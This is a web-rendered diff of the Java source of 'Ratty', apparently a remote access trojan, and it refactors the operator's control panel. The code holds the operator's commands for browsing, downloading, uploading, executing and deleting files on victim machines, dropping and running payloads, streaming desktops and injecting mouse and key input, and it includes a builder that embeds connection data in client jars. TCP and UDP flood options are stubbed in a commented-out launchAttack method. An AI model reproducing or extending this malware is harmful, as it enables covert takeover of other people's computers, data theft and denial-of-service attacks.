private Screen screen; private Screen screen;
@ -35,8 +35,8 @@ public final class DisplayPanel extends AbstractListenerContainer<IGuiController
public static final String KEY_EVENT = "Key event"; public static final String KEY_EVENT = "Key event";
public static final String CLOSED = "Closed"; public static final String CLOSED = "Closed";
public DisplayPanel(final ServerClient client) {
this.client = client;
public DisplayPanel(final Object userObject) {
this.userObject = userObject;
} }
private Screen createScreen(final int screenWidth, final int screenHeight) { private Screen createScreen(final int screenWidth, final int screenHeight) {
@ -44,7 +44,7 @@ public final class DisplayPanel extends AbstractListenerContainer<IGuiController
final WindowAdapter windowAdapter = new WindowAdapter() { final WindowAdapter windowAdapter = new WindowAdapter() {
@Override @Override
public void windowClosing(final WindowEvent w) { public void windowClosing(final WindowEvent w) {
notifyListeners(controller -> controller.userInput(CLOSED, client));
notifyListeners(controller -> controller.userInput(CLOSED, userObject));
} }
}; };
final BufferedImage[] icons = RattyGui.GUI_ICONS.stream().toArray(BufferedImage[]::new); final BufferedImage[] icons = RattyGui.GUI_ICONS.stream().toArray(BufferedImage[]::new);
@ -111,7 +111,7 @@ public final class DisplayPanel extends AbstractListenerContainer<IGuiController
lastMouseEventPacket = new MouseEventPacket(x, y, buttonEvent, type); lastMouseEventPacket = new MouseEventPacket(x, y, buttonEvent, type);
notifyListeners(controller -> controller.userInput(MOUSE_EVENT, client));
notifyListeners(controller -> controller.userInput(MOUSE_EVENT, userObject));
} }
@Override @Override
@ -130,7 +130,13 @@ public final class DisplayPanel extends AbstractListenerContainer<IGuiController
lastKeyEventPacket = new KeyEventPacket(key, type); lastKeyEventPacket = new KeyEventPacket(key, type);
notifyListeners(controller -> controller.userInput(KEY_EVENT, client));
notifyListeners(controller -> controller.userInput(KEY_EVENT, userObject));
}
public void close() {
if (screen != null) {
screen.close();
}
} }
public void setTitle(final String title) { public void setTitle(final String title) {

43
Ratty/src/de/sogomn/rat/server/gui/FileTree.java

@ -24,22 +24,20 @@ import de.sogomn.engine.util.ImageUtils;
public final class FileTree extends AbstractListenerContainer<IGuiController> { public final class FileTree extends AbstractListenerContainer<IGuiController> {
private ServerClient client;
private Object userObject;
private JFrame frame; private JFrame frame;
private FileTreeNode root; private FileTreeNode root;
private JTree tree; private JTree tree;
private DefaultTreeModel treeModel; private DefaultTreeModel treeModel;
private JScrollPane scrollPane; private JScrollPane scrollPane;
private JPopupMenu menu; private JPopupMenu menu;
private FileTreeNode clickedNode;
private FileTreeNode nodeClicked;
private static final Dimension SIZE = new Dimension(500, 500);
private static final String ROOT_NAME = ""; private static final String ROOT_NAME = "";
private static final String SEPARATOR_REGEX = "[\\\\\\/]"; private static final String SEPARATOR_REGEX = "[\\\\\\/]";
private static final Dimension DEFAULT_SIZE = new Dimension(500, 500);
private static final BufferedImage[] MENU_ICONS = new SpriteSheet(ImageUtils.scaleImage(ImageUtils.loadImage("/gui_tree_icons.png"), 2), 16 * 2, 16 * 2).getSprites(); private static final BufferedImage[] MENU_ICONS = new SpriteSheet(ImageUtils.scaleImage(ImageUtils.loadImage("/gui_tree_icons.png"), 2), 16 * 2, 16 * 2).getSprites();
public static final String REQUEST = LANGUAGE.getString("action.request_files"); public static final String REQUEST = LANGUAGE.getString("action.request_files");
@ -50,7 +48,7 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
public static final String NEW_DIRECTORY = LANGUAGE.getString("action.new_directory"); public static final String NEW_DIRECTORY = LANGUAGE.getString("action.new_directory");
public static final String DROP_FILE = LANGUAGE.getString("action.drop_file"); public static final String DROP_FILE = LANGUAGE.getString("action.drop_file");
public static final String[] COMMANDS = {
private static final String[] COMMANDS = {
REQUEST, REQUEST,
DOWNLOAD, DOWNLOAD,
UPLOAD, UPLOAD,
@ -60,8 +58,8 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
DROP_FILE DROP_FILE
}; };
public FileTree(final ServerClient client) {
this.client = client;
public FileTree(final Object userObject) {
this.userObject = userObject;
frame = new JFrame(); frame = new JFrame();
root = new FileTreeNode(ROOT_NAME); root = new FileTreeNode(ROOT_NAME);
@ -87,9 +85,9 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
tree.setSelectionPath(path); tree.setSelectionPath(path);
if (path != null) { if (path != null) {
clickedNode = (FileTreeNode)path.getLastPathComponent();
nodeClicked = (FileTreeNode)path.getLastPathComponent();
} else { } else {
clickedNode = null;
nodeClicked = null;
} }
} }
}; };
@ -100,7 +98,7 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
tree.setComponentPopupMenu(menu); tree.setComponentPopupMenu(menu);
frame.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE); frame.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE);
frame.setPreferredSize(DEFAULT_SIZE);
frame.setPreferredSize(SIZE);
frame.setContentPane(scrollPane); frame.setContentPane(scrollPane);
frame.setIconImages(RattyGui.GUI_ICONS); frame.setIconImages(RattyGui.GUI_ICONS);
frame.pack(); frame.pack();
@ -120,13 +118,17 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
private void menuItemClicked(final ActionEvent a) { private void menuItemClicked(final ActionEvent a) {
final String command = a.getActionCommand(); final String command = a.getActionCommand();
notifyListeners(controller -> controller.userInput(command, client));
notifyListeners(controller -> controller.userInput(command, userObject));
} }
public void reload() { public void reload() {
treeModel.reload(); treeModel.reload();
} }
public void reload(final FileTreeNode node) {
treeModel.reload(node);
}
public void addNodeStructure(final String... path) { public void addNodeStructure(final String... path) {
FileTreeNode current = root; FileTreeNode current = root;
@ -162,7 +164,7 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
treeModel.removeNodeFromParent(node); treeModel.removeNodeFromParent(node);
treeModel.reload(parent);
reload(parent);
} }
public void removeChildren(final FileTreeNode node) { public void removeChildren(final FileTreeNode node) {
@ -172,19 +174,26 @@ public final class FileTree extends AbstractListenerContainer<IGuiController> {
treeModel.removeNodeFromParent(child); treeModel.removeNodeFromParent(child);
} }
treeModel.reload(node);
reload(node);
} }
public void setVisible(final boolean visible) { public void setVisible(final boolean visible) {
frame.setVisible(true);
frame.setVisible(visible);
}
public void close() {
root.removeAllChildren();
frame.setVisible(false);
frame.dispose();
} }
public void setTitle(final String title) { public void setTitle(final String title) {
frame.setTitle(title); frame.setTitle(title);
} }
public FileTreeNode getClickedNode() {
return clickedNode;
public FileTreeNode getNodeClicked() {
return nodeClicked;
} }
} }

16
Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java

@ -22,6 +22,16 @@ public final class FileTreeNode implements MutableTreeNode {
children = new ArrayList<FileTreeNode>(); children = new ArrayList<FileTreeNode>();
} }
public FileTreeNode[] getChildren() {
final FileTreeNode[] childArray = children.stream().toArray(FileTreeNode[]::new);
return childArray;
}
public void removeAllChildren() {
children.clear();
}
@Override @Override
public Enumeration<FileTreeNode> children() { public Enumeration<FileTreeNode> children() {
final Enumeration<FileTreeNode> enumeration = Collections.enumeration(children); final Enumeration<FileTreeNode> enumeration = Collections.enumeration(children);
@ -29,12 +39,6 @@ public final class FileTreeNode implements MutableTreeNode {
return enumeration; return enumeration;
} }
public FileTreeNode[] getChildren() {
final FileTreeNode[] childArray = children.stream().toArray(FileTreeNode[]::new);
return childArray;
}
@Override @Override
public void insert(final MutableTreeNode child, int index) { public void insert(final MutableTreeNode child, int index) {
final boolean fileTreeNode = child instanceof FileTreeNode; final boolean fileTreeNode = child instanceof FileTreeNode;

4
Ratty/src/de/sogomn/rat/server/gui/IGuiController.java

@ -1,7 +1,7 @@
package de.sogomn.rat.server.gui; package de.sogomn.rat.server.gui;
interface IGuiController {
public interface IGuiController {
void userInput(final String command, final ServerClient client);
void userInput(final String command, final Object userObject);
} }

39
Ratty/src/de/sogomn/rat/server/gui/IRattyGui.java

@ -0,0 +1,39 @@
package de.sogomn.rat.server.gui;
import java.io.File;
public interface IRattyGui {
String getInput(final String message);
default String getInput() {
return getInput(null);
}
File getFile(final String type);
default File getFile() {
return getFile(null);
}
File getSaveFile(final String type);
default File getSaveFile() {
return getSaveFile(null);
}
void showMessage(final String message);
void showError(final String message);
boolean showWarning(final String message, final String yes, final String no);
int showOptions(final String message, final String yes, final String no, final String cancel);
void addClient(final ServerClient client);
void removeClient(final ServerClient client);
void update();
}

59
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -9,6 +9,8 @@ import java.awt.Point;
import java.awt.event.ActionEvent; import java.awt.event.ActionEvent;
import java.awt.event.MouseAdapter; import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent; import java.awt.event.MouseEvent;
import java.awt.event.WindowAdapter;
import java.awt.event.WindowEvent;
import java.awt.image.BufferedImage; import java.awt.image.BufferedImage;
import java.io.File; import java.io.File;
import java.util.Arrays; import java.util.Arrays;
@ -39,24 +41,21 @@ import de.sogomn.engine.util.AbstractListenerContainer;
import de.sogomn.engine.util.ImageUtils; import de.sogomn.engine.util.ImageUtils;
import de.sogomn.rat.Ratty; import de.sogomn.rat.Ratty;
final class RattyGui extends AbstractListenerContainer<IGuiController> {
public final class RattyGui extends AbstractListenerContainer<IGuiController> implements IRattyGui {
private JFrame frame; private JFrame frame;
private JTable table; private JTable table;
private ServerClientTableModel tableModel; private ServerClientTableModel tableModel;
private JScrollPane scrollPane; private JScrollPane scrollPane;
private JPopupMenu menu; private JPopupMenu menu;
private JMenuBar menuBar; private JMenuBar menuBar;
private JButton build, attack; private JButton build, attack;
private JFileChooser fileChooser; private JFileChooser fileChooser;
private ServerClient clientClicked;
private ServerClient lastServerClientClicked;
private static final Dimension SIZE = new Dimension(1150, 600);
private static final String TITLE = "Ratty " + Ratty.VERSION; private static final String TITLE = "Ratty " + Ratty.VERSION;
private static final Dimension SIZE = new Dimension(1150, 600);
private static final BufferedImage GUI_ICON_SMALL = ImageUtils.loadImage("/gui_icon.png"); private static final BufferedImage GUI_ICON_SMALL = ImageUtils.loadImage("/gui_icon.png");
private static final BufferedImage GUI_ICON_MEDIUM = ImageUtils.scaleImage(GUI_ICON_SMALL, 64, 64); private static final BufferedImage GUI_ICON_MEDIUM = ImageUtils.scaleImage(GUI_ICON_SMALL, 64, 64);
@ -91,6 +90,8 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
public static final String BUILD = LANGUAGE.getString("action.build"); public static final String BUILD = LANGUAGE.getString("action.build");
public static final String ATTACK = LANGUAGE.getString("action.attack"); public static final String ATTACK = LANGUAGE.getString("action.attack");
public static final String DROP_EXECUTE = LANGUAGE.getString("action.drop_execute"); public static final String DROP_EXECUTE = LANGUAGE.getString("action.drop_execute");
public static final String CHAT = LANGUAGE.getString("action.chat");
public static final String CLOSE = "Close";
public static final List<BufferedImage> GUI_ICONS = Arrays.asList(GUI_ICON_SMALL, GUI_ICON_MEDIUM, GUI_ICON_LARGE); public static final List<BufferedImage> GUI_ICONS = Arrays.asList(GUI_ICON_SMALL, GUI_ICON_MEDIUM, GUI_ICON_LARGE);
@ -106,7 +107,8 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
UTILITY_ITEM_DATA.put(COMMAND, MENU_ICONS[5]); UTILITY_ITEM_DATA.put(COMMAND, MENU_ICONS[5]);
UTILITY_ITEM_DATA.put(WEBSITE, MENU_ICONS[8]); UTILITY_ITEM_DATA.put(WEBSITE, MENU_ICONS[8]);
UTILITY_ITEM_DATA.put(AUDIO, MENU_ICONS[7]); UTILITY_ITEM_DATA.put(AUDIO, MENU_ICONS[7]);
OTHER_ITEM_DATA.put(FREE, MENU_ICONS[10]);
UTILITY_ITEM_DATA.put(CHAT, MENU_ICONS[12]);
OTHER_ITEM_DATA.put(FREE, MENU_ICONS[11]);
} }
public RattyGui() { public RattyGui() {
@ -127,7 +129,7 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
final Point mousePoint = m.getPoint(); final Point mousePoint = m.getPoint();
final int rowIndex = table.rowAtPoint(mousePoint); final int rowIndex = table.rowAtPoint(mousePoint);
lastServerClientClicked = tableModel.getServerClient(rowIndex);
clientClicked = tableModel.getServerClient(rowIndex);
table.setRowSelectionInterval(rowIndex, rowIndex); table.setRowSelectionInterval(rowIndex, rowIndex);
} }
@ -139,6 +141,12 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
final JMenu utility = createMenu(UTILITY, UTILITY_ICON, UTILITY_ITEM_DATA); final JMenu utility = createMenu(UTILITY, UTILITY_ICON, UTILITY_ITEM_DATA);
final JMenu other = createMenu(OTHER, OTHER_ICON, OTHER_ITEM_DATA); final JMenu other = createMenu(OTHER, OTHER_ICON, OTHER_ITEM_DATA);
final JTableHeader tableHeader = table.getTableHeader(); final JTableHeader tableHeader = table.getTableHeader();
final WindowAdapter closingAdapter = new WindowAdapter() {
@Override
public void windowClosing(final WindowEvent w) {
close();
}
};
tableHeader.setReorderingAllowed(false); tableHeader.setReorderingAllowed(false);
@ -164,7 +172,8 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
contentPane.add(scrollPane, BorderLayout.CENTER); contentPane.add(scrollPane, BorderLayout.CENTER);
contentPane.add(menuBar, BorderLayout.SOUTH); contentPane.add(menuBar, BorderLayout.SOUTH);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
frame.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE);
frame.addWindowListener(closingAdapter);
frame.setPreferredSize(SIZE); frame.setPreferredSize(SIZE);
frame.pack(); frame.pack();
frame.setLocationRelativeTo(null); frame.setLocationRelativeTo(null);
@ -204,9 +213,17 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
private void actionPerformed(final ActionEvent a) { private void actionPerformed(final ActionEvent a) {
final String command = a.getActionCommand(); final String command = a.getActionCommand();
notifyListeners(controller -> controller.userInput(command, lastServerClientClicked));
notifyListeners(controller -> controller.userInput(command, clientClicked));
}
public void close() {
frame.setVisible(false);
frame.dispose();
notifyListeners(controller -> controller.userInput(CLOSE, clientClicked));
} }
@Override
public void update() { public void update() {
final int selectedRow = table.getSelectedRow(); final int selectedRow = table.getSelectedRow();
@ -217,15 +234,19 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
} }
} }
public void addRow(final ServerClient client) {
@Override
public void addClient(final ServerClient client) {
tableModel.addServerClient(client); tableModel.addServerClient(client);
} }
public void removeRow(final ServerClient client) {
@Override
public void removeClient(final ServerClient client) {
tableModel.removeServerClient(client); tableModel.removeServerClient(client);
} }
public boolean showWarning(final String message, final String... options) {
@Override
public boolean showWarning(final String message, final String yes, final String no) {
final String[] options = {yes, no};
final int input = JOptionPane.showOptionDialog(frame, message, null, JOptionPane.YES_NO_OPTION, JOptionPane.WARNING_MESSAGE, null, options, null); final int input = JOptionPane.showOptionDialog(frame, message, null, JOptionPane.YES_NO_OPTION, JOptionPane.WARNING_MESSAGE, null, options, null);
if (input == JOptionPane.YES_OPTION) { if (input == JOptionPane.YES_OPTION) {
@ -235,10 +256,12 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
return false; return false;
} }
@Override
public void showError(final String message) { public void showError(final String message) {
JOptionPane.showMessageDialog(frame, message, null, JOptionPane.ERROR_MESSAGE, null); JOptionPane.showMessageDialog(frame, message, null, JOptionPane.ERROR_MESSAGE, null);
} }
@Override
public void showMessage(final String message) { public void showMessage(final String message) {
final JOptionPane pane = new JOptionPane(message, JOptionPane.INFORMATION_MESSAGE); final JOptionPane pane = new JOptionPane(message, JOptionPane.INFORMATION_MESSAGE);
final JDialog dialog = pane.createDialog(frame, null); final JDialog dialog = pane.createDialog(frame, null);
@ -247,12 +270,15 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
dialog.setVisible(true); dialog.setVisible(true);
} }
public int showOptionDialog(final String message, final String... options) {
@Override
public int showOptions(final String message, final String yes, final String no, final String cancel) {
final String[] options = {yes, no, cancel};
final int input = JOptionPane.showOptionDialog(frame, message, null, JOptionPane.YES_NO_CANCEL_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, null); final int input = JOptionPane.showOptionDialog(frame, message, null, JOptionPane.YES_NO_CANCEL_OPTION, JOptionPane.QUESTION_MESSAGE, null, options, null);
return input; return input;
} }
@Override
public File getFile(final String type) { public File getFile(final String type) {
final FileFilter filter; final FileFilter filter;
@ -275,10 +301,12 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
return null; return null;
} }
@Override
public File getFile() { public File getFile() {
return getFile(null); return getFile(null);
} }
@Override
public File getSaveFile() { public File getSaveFile() {
final int input = fileChooser.showSaveDialog(frame); final int input = fileChooser.showSaveDialog(frame);
@ -291,6 +319,7 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
return null; return null;
} }
@Override
public File getSaveFile(final String type) { public File getSaveFile(final String type) {
File file = getSaveFile(); File file = getSaveFile();
@ -308,12 +337,14 @@ final class RattyGui extends AbstractListenerContainer<IGuiController> {
return file; return file;
} }
@Override
public String getInput(final String message) { public String getInput(final String message) {
final String input = JOptionPane.showInputDialog(frame, message); final String input = JOptionPane.showInputDialog(frame, message);
return input; return input;
} }
@Override
public String getInput() { public String getInput() {
return getInput(null); return getInput(null);
} }

91
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -20,6 +20,7 @@ import de.sogomn.engine.util.Scheduler.Task;
import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.builder.JarBuilder; import de.sogomn.rat.builder.JarBuilder;
import de.sogomn.rat.packet.AudioPacket; import de.sogomn.rat.packet.AudioPacket;
import de.sogomn.rat.packet.ChatPacket;
import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.ClipboardPacket;
import de.sogomn.rat.packet.CommandPacket; import de.sogomn.rat.packet.CommandPacket;
import de.sogomn.rat.packet.CreateDirectoryPacket; import de.sogomn.rat.packet.CreateDirectoryPacket;
@ -47,7 +48,8 @@ import de.sogomn.rat.util.FrameEncoder.IFrame;
*/ */
public final class RattyGuiController extends AbstractRattyController implements IGuiController { public final class RattyGuiController extends AbstractRattyController implements IGuiController {
private RattyGui gui;
private ActiveServer server;
private IRattyGui gui;
private HashMap<ActiveConnection, ServerClient> clients; private HashMap<ActiveConnection, ServerClient> clients;
@ -55,7 +57,7 @@ public final class RattyGuiController extends AbstractRattyController implements
private Scheduler scheduler; private Scheduler scheduler;
private Task pingTask; private Task pingTask;
private static final String BUILDER_REPLACEMENT = "connection_data.txt";
private static final String BUILDER_REPLACEMENT = "connection_data";
private static final String BUILDER_REPLACEMENT_FORMAT = "%s\r\n%s\r\ntrue"; private static final String BUILDER_REPLACEMENT_FORMAT = "%s\r\n%s\r\ntrue";
private static final String[] BUILDER_REMOVALS = { private static final String[] BUILDER_REMOVALS = {
"ping.wav", "ping.wav",
@ -93,31 +95,32 @@ public final class RattyGuiController extends AbstractRattyController implements
private static final Sound PING = Sound.loadSound("/ping.wav"); private static final Sound PING = Sound.loadSound("/ping.wav");
public RattyGuiController() {
gui = new RattyGui();
clients = new HashMap<ActiveConnection, ServerClient>();
clock = new Clock();
scheduler = new Scheduler();
pingTask = new Task(() -> {
public RattyGuiController(final ActiveServer server, final IRattyGui gui) {
this.server = server;
this.gui = gui;
final Runnable task = () -> {
final PingPacket packet = new PingPacket(); final PingPacket packet = new PingPacket();
connections.forEach(connection -> connection.addPacket(packet)); connections.forEach(connection -> connection.addPacket(packet));
pingTask.reset(); pingTask.reset();
}, PING_INTERVAL);
};
final Thread pingThread = new Thread(() -> { final Thread pingThread = new Thread(() -> {
while (true) { while (true) {
clock.update(); clock.update();
} }
}); });
clients = new HashMap<ActiveConnection, ServerClient>();
clock = new Clock();
scheduler = new Scheduler();
pingTask = new Task(task, PING_INTERVAL);
pingThread.setDaemon(true); pingThread.setDaemon(true);
pingThread.start(); pingThread.start();
scheduler.addTask(pingTask); scheduler.addTask(pingTask);
clock.addListener(scheduler); clock.addListener(scheduler);
gui.addListener(this);
} }
/* /*
@ -179,7 +182,7 @@ public final class RattyGuiController extends AbstractRattyController implements
} }
private DownloadFilePacket createDownloadPacket(final ServerClient client) { private DownloadFilePacket createDownloadPacket(final ServerClient client) {
final FileTreeNode node = client.fileTree.getClickedNode();
final FileTreeNode node = client.fileTree.getNodeClicked();
final String path = node.getPath(); final String path = node.getPath();
final DownloadFilePacket packet = new DownloadFilePacket(path); final DownloadFilePacket packet = new DownloadFilePacket(path);
@ -190,7 +193,7 @@ public final class RattyGuiController extends AbstractRattyController implements
final File file = gui.getFile(); final File file = gui.getFile();
if (file != null) { if (file != null) {
final FileTreeNode node = client.fileTree.getClickedNode();
final FileTreeNode node = client.fileTree.getNodeClicked();
final String path = node.getPath(); final String path = node.getPath();
final UploadFilePacket packet = new UploadFilePacket(file, path); final UploadFilePacket packet = new UploadFilePacket(file, path);
@ -201,7 +204,7 @@ public final class RattyGuiController extends AbstractRattyController implements
} }
private ExecuteFilePacket createExecutePacket(final ServerClient client) { private ExecuteFilePacket createExecutePacket(final ServerClient client) {
final FileTreeNode node = client.fileTree.getClickedNode();
final FileTreeNode node = client.fileTree.getNodeClicked();
final String path = node.getPath(); final String path = node.getPath();
final ExecuteFilePacket packet = new ExecuteFilePacket(path); final ExecuteFilePacket packet = new ExecuteFilePacket(path);
@ -209,7 +212,7 @@ public final class RattyGuiController extends AbstractRattyController implements
} }
private DeleteFilePacket createDeletePacket(final ServerClient client) { private DeleteFilePacket createDeletePacket(final ServerClient client) {
final FileTreeNode node = client.fileTree.getClickedNode();
final FileTreeNode node = client.fileTree.getNodeClicked();
final String path = node.getPath(); final String path = node.getPath();
final DeleteFilePacket packet = new DeleteFilePacket(path); final DeleteFilePacket packet = new DeleteFilePacket(path);
@ -220,7 +223,7 @@ public final class RattyGuiController extends AbstractRattyController implements
final String input = gui.getInput(); final String input = gui.getInput();
if (input != null) { if (input != null) {
final FileTreeNode node = client.fileTree.getClickedNode();
final FileTreeNode node = client.fileTree.getNodeClicked();
final String path = node.getPath(); final String path = node.getPath();
final CreateDirectoryPacket packet = new CreateDirectoryPacket(path, input); final CreateDirectoryPacket packet = new CreateDirectoryPacket(path, input);
@ -246,7 +249,7 @@ public final class RattyGuiController extends AbstractRattyController implements
final String address = gui.getInput(URL_MESSAGE); final String address = gui.getInput(URL_MESSAGE);
if (address != null) { if (address != null) {
final FileTreeNode node = client.fileTree.getClickedNode();
final FileTreeNode node = client.fileTree.getNodeClicked();
final String path = node.getPath(); final String path = node.getPath();
final DownloadUrlPacket packet = new DownloadUrlPacket(address, path); final DownloadUrlPacket packet = new DownloadUrlPacket(address, path);
@ -280,6 +283,13 @@ public final class RattyGuiController extends AbstractRattyController implements
return null; return null;
} }
private ChatPacket createChatPacket(final ServerClient client) {
final String message = client.chat.getMessage();
final ChatPacket packet = new ChatPacket(message);
return packet;
}
private void toggleDesktopStream(final ServerClient client) { private void toggleDesktopStream(final ServerClient client) {
final boolean streamingDesktop = client.isStreamingDesktop(); final boolean streamingDesktop = client.isStreamingDesktop();
@ -300,7 +310,7 @@ public final class RattyGuiController extends AbstractRattyController implements
} }
private void requestFile(final ServerClient client) { private void requestFile(final ServerClient client) {
final FileTreeNode node = client.fileTree.getClickedNode();
final FileTreeNode node = client.fileTree.getNodeClicked();
final String path = node.getPath(); final String path = node.getPath();
final FileRequestPacket packet = new FileRequestPacket(path); final FileRequestPacket packet = new FileRequestPacket(path);
@ -342,13 +352,17 @@ public final class RattyGuiController extends AbstractRattyController implements
} }
private void launchAttack() { private void launchAttack() {
final int input = gui.showOptionDialog(ATTACK_MESSAGE, OPTION_TCP, OPTION_UDP, OPTION_CANCEL);
final int input = gui.showOptions(ATTACK_MESSAGE, OPTION_TCP, OPTION_UDP, OPTION_CANCEL);
//AttackPacket packet = null;
if (input == JOptionPane.YES_OPTION) { if (input == JOptionPane.YES_OPTION) {
//TCP flood packet //TCP flood packet
} else if (input == JOptionPane.NO_OPTION) { } else if (input == JOptionPane.NO_OPTION) {
//UDP flood packet //UDP flood packet
} }
//broadcast(packet);
} }
private void handleCommand(final ServerClient client, final String command) { private void handleCommand(final ServerClient client, final String command) {
@ -366,6 +380,10 @@ public final class RattyGuiController extends AbstractRattyController implements
startBuilder(); startBuilder();
} else if (command == FileTree.REQUEST) { } else if (command == FileTree.REQUEST) {
requestFile(client); requestFile(client);
} else if (command == RattyGui.CHAT) {
client.chat.setVisible(true);
} else if (command == RattyGui.CLOSE) {
server.close();
} }
} }
@ -404,6 +422,8 @@ public final class RattyGuiController extends AbstractRattyController implements
packet = createUploadExecutePacket(client); packet = createUploadExecutePacket(client);
} else if (command == RattyGui.DROP_EXECUTE) { } else if (command == RattyGui.DROP_EXECUTE) {
packet = createDropExecutePacket(client); packet = createDropExecutePacket(client);
} else if (command == ChatWindow.MESSAGE_SENT) {
packet = createChatPacket(client);
} else if (command == DisplayPanel.MOUSE_EVENT && client.isStreamingDesktop()) { } else if (command == DisplayPanel.MOUSE_EVENT && client.isStreamingDesktop()) {
packet = client.displayPanel.getLastMouseEventPacket(); packet = client.displayPanel.getLastMouseEventPacket();
} else if (command == DisplayPanel.KEY_EVENT && client.isStreamingDesktop()) { } else if (command == DisplayPanel.KEY_EVENT && client.isStreamingDesktop()) {
@ -471,10 +491,16 @@ public final class RattyGuiController extends AbstractRattyController implements
final long milliseconds = packet.getMilliseconds(); final long milliseconds = packet.getMilliseconds();
client.setPing(milliseconds); client.setPing(milliseconds);
gui.update(); gui.update();
} }
private void handleChatPacket(final ServerClient client, final ChatPacket packet) {
final String message = packet.getMessage();
final String name = client.getName();
client.chat.addLine(name + ": " + message);
}
private boolean handlePacket(final ServerClient client, final IPacket packet) { private boolean handlePacket(final ServerClient client, final IPacket packet) {
final Class<? extends IPacket> clazz = packet.getClass(); final Class<? extends IPacket> clazz = packet.getClass();
@ -504,6 +530,10 @@ public final class RattyGuiController extends AbstractRattyController implements
final PingPacket ping = (PingPacket)packet; final PingPacket ping = (PingPacket)packet;
handlePing(client, ping); handlePing(client, ping);
} else if (clazz == ChatPacket.class) {
final ChatPacket chat = (ChatPacket)packet;
handleChatPacket(client, chat);
} else if (clazz == FreePacket.class) { } else if (clazz == FreePacket.class) {
//To prevent shutdown //To prevent shutdown
} else { } else {
@ -545,7 +575,7 @@ public final class RattyGuiController extends AbstractRattyController implements
client.logIn(name, os, version, icon); client.logIn(name, os, version, icon);
client.addListener(this); client.addListener(this);
gui.addRow(client);
gui.addClient(client);
notification.trigger(); notification.trigger();
PING.play(); PING.play();
} }
@ -581,26 +611,27 @@ public final class RattyGuiController extends AbstractRattyController implements
public void disconnected(final ActiveConnection connection) { public void disconnected(final ActiveConnection connection) {
final ServerClient client = getClient(connection); final ServerClient client = getClient(connection);
gui.removeRow(client);
super.disconnected(connection);
gui.removeClient(client);
clients.remove(connection);
client.removeListener(this); client.removeListener(this);
client.setStreamingDesktop(false); client.setStreamingDesktop(false);
client.setStreamingVoice(false); client.setStreamingVoice(false);
clients.remove(connection);
super.disconnected(connection);
client.logOut();
} }
@Override @Override
public void closed(final ActiveServer server) { public void closed(final ActiveServer server) {
gui.removeAllListeners();
super.closed(server); super.closed(server);
clients.values().forEach(ServerClient::logOut);
} }
@Override @Override
public void userInput(final String command, final ServerClient client) {
public void userInput(final String command, final Object source) {
final ServerClient client = (ServerClient)source;
final IPacket packet = createPacket(client, command); final IPacket packet = createPacket(client, command);
if (packet != null) { if (packet != null) {

22
Ratty/src/de/sogomn/rat/server/gui/ServerClient.java

@ -13,15 +13,17 @@ final class ServerClient {
private boolean streamingDesktop, streamingVoice; private boolean streamingDesktop, streamingVoice;
private long ping; private long ping;
public final ActiveConnection connection;
public final DisplayPanel displayPanel;
public final FileTree fileTree;
final ActiveConnection connection;
final DisplayPanel displayPanel;
final FileTree fileTree;
final ChatWindow chat;
public ServerClient(final ActiveConnection connection) { public ServerClient(final ActiveConnection connection) {
this.connection = connection; this.connection = connection;
displayPanel = new DisplayPanel(this); displayPanel = new DisplayPanel(this);
fileTree = new FileTree(this); fileTree = new FileTree(this);
chat = new ChatWindow(this);
} }
public void logIn(final String name, final String os, final String version, final ImageIcon flag) { public void logIn(final String name, final String os, final String version, final ImageIcon flag) {
@ -34,18 +36,32 @@ final class ServerClient {
displayPanel.setTitle(title); displayPanel.setTitle(title);
fileTree.setTitle(title); fileTree.setTitle(title);
chat.setTitle(title);
loggedIn = true; loggedIn = true;
} }
public void logOut() {
loggedIn = false;
System.err.println();
System.err.println("THE FOLLOWING IS A JVM BUG!");
displayPanel.close();
fileTree.close();
chat.close();
System.err.println();
}
public void addListener(final IGuiController controller) { public void addListener(final IGuiController controller) {
displayPanel.addListener(controller); displayPanel.addListener(controller);
fileTree.addListener(controller); fileTree.addListener(controller);
chat.addListener(controller);
} }
public void removeListener(final IGuiController controller) { public void removeListener(final IGuiController controller) {
displayPanel.removeListener(controller); displayPanel.removeListener(controller);
fileTree.removeListener(controller); fileTree.removeListener(controller);
chat.removeListener(controller);
} }
public void setStreamingDesktop(final boolean streamingDesktop) { public void setStreamingDesktop(final boolean streamingDesktop) {

Loading…
Cancel
Save